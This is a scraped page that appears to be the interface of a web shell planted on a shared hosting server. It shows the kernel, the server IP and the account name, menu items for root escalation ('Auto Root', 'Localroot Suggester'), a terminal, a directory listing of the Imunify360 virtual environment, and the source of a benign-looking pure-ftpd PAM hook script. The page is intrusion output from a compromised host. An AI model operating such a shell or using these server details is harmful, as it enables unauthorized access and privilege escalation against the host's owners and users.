Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.150
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
imunify360 /
venv /
bin /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-09-13 06:27
Activate.ps1
8.82
KB
-rw-r--r--
2025-07-04 13:31
activate
1.69
KB
-rw-r--r--
2025-07-04 13:31
activate.csh
958
B
-rw-r--r--
2025-07-04 13:31
activate.fish
2.18
KB
-rw-r--r--
2025-07-04 13:31
distro
264
B
-rwxr-xr-x
2025-07-04 13:31
docutils
275
B
-rwxr-xr-x
2025-07-04 13:31
imunify360-command-wrapper
8.4
KB
-rwxr-xr-x
2025-09-01 14:00
imunify360_pam.py
37.06
KB
-rwxr-xr-x
2025-08-21 09:56
jsonschema
272
B
-rwxr-xr-x
2025-07-04 13:31
normalizer
303
B
-rwxr-xr-x
2025-07-04 13:31
pam_pureftpd_hook.py
2.15
KB
-rwxr-xr-x
2025-08-21 09:56
pip
280
B
-rwxr-xr-x
2025-07-04 13:31
pip3
280
B
-rwxr-xr-x
2025-07-04 13:31
pip3.11
280
B
-rwxr-xr-x
2025-07-04 13:31
pw-migrate
274
B
-rwxr-xr-x
2025-07-04 13:31
pw_migrate
274
B
-rwxr-xr-x
2025-07-04 13:31
pwiz.py
8.06
KB
-rwxr-xr-x
2025-07-04 13:31
pybabel
281
B
-rwxr-xr-x
2025-07-04 13:31
python
15.59
KB
-rwxr-xr-x
2025-07-23 10:04
python3
15.59
KB
-rwxr-xr-x
2025-07-23 10:04
python3.11
15.59
KB
-rwxr-xr-x
2025-07-23 10:04
rst2html.py
661
B
-rwxr-xr-x
2025-07-04 13:31
rst2html4.py
783
B
-rwxr-xr-x
2025-07-04 13:31
rst2html5.py
1.09
KB
-rwxr-xr-x
2025-07-04 13:31
rst2latex.py
860
B
-rwxr-xr-x
2025-07-04 13:31
rst2man.py
683
B
-rwxr-xr-x
2025-07-04 13:31
rst2odt.py
849
B
-rwxr-xr-x
2025-07-04 13:31
rst2odt_prepstyles.py
655
B
-rwxr-xr-x
2025-07-04 13:31
rst2pseudoxml.py
668
B
-rwxr-xr-x
2025-07-04 13:31
rst2s5.py
704
B
-rwxr-xr-x
2025-07-04 13:31
rst2xetex.py
940
B
-rwxr-xr-x
2025-07-04 13:31
rst2xml.py
669
B
-rwxr-xr-x
2025-07-04 13:31
rstpep2html.py
737
B
-rwxr-xr-x
2025-07-04 13:31
Save
Rename
#!/opt/imunify360/venv/bin/python3 import argparse import os import re import subprocess from pam_i360.internals import logger_init PUREFTPD_CONFIG = "/etc/pure-ftpd.conf" CPANEL_CONFIG = "/var/cpanel/cpanel.config" IMUNIFY360_CONFIG = "/etc/sysconfig/imunify360/imunify360-merged.config" logger = logger_init() def is_pureftpd_enabled(): if not os.path.isfile(IMUNIFY360_CONFIG): return False ftp_protection = re.compile( rb"^(?!#).*ftp_protection:[^\S\r\n]*true", re.MULTILINE ) return ftp_protection.search( open(IMUNIFY360_CONFIG, "rb").read()) is not None def is_imunify360_pam_pureftpd_enabled(): imunify360_sock = re.compile( rb"^(?!#).*\/var\/run\/ftpd.imunify360.sock", re.MULTILINE ) return imunify360_sock.search( open(PUREFTPD_CONFIG, "rb").read()) is not None def enable_pureftpd(no_restart=False, timeout=60): cmd = [ "/usr/sbin/imunify360-pam", "enable-pureftpd", ] if no_restart: cmd.append("--no-restart-pureftpd") try: return subprocess.run(cmd, timeout=timeout, check=True) except subprocess.TimeoutExpired as e: return subprocess.CompletedProcess( e.cmd, returncode=None, stdout=e.stdout, stderr=e.stderr ) def main(): parser = argparse.ArgumentParser() parser.add_argument( "-n", "--no-restart", dest="norestart", action="store_true", help="Don't restart pureftpd", ) args = parser.parse_args() no_restart = args.norestart with open(CPANEL_CONFIG, "r") as cpcfg: data = cpcfg.read() if not "ftpserver=pure-ftpd" in data: return if not os.path.isfile(PUREFTPD_CONFIG): return imunify360_pam_pureftpd_enabled = is_imunify360_pam_pureftpd_enabled() pureftpd_enabled = is_pureftpd_enabled() if pureftpd_enabled and not imunify360_pam_pureftpd_enabled: enable_pureftpd(no_restart, timeout=60) if __name__ == "__main__": try: main() except Exception as e: logger.error("failed to check and enable pure-ftpd: %s", e)